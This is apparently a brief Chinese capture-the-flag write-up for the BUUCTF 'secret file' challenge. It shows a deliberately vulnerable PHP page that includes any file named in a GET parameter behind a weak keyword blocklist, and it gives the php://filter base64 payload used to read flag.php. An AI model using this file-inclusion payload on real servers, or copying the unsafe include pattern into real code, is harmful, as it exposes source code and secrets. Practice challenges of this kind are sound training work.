buuctf secret file

/Archive_room.php

F12看源码 找到链接

action.php

继续跳转
这时发现什么也没有再回去看 跳转的是action但转到end里了
burp重发 打开action.php
发现secr3t.php

secr3t.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
/flag放在了flag.php里
?>

flag.php打开啥也没有
想到是要文件包含 base64打开
?file=php://filter/convert.base64-encode/resource=flag.php

秘密

I just want to say that me too(ಥ _ ಥ)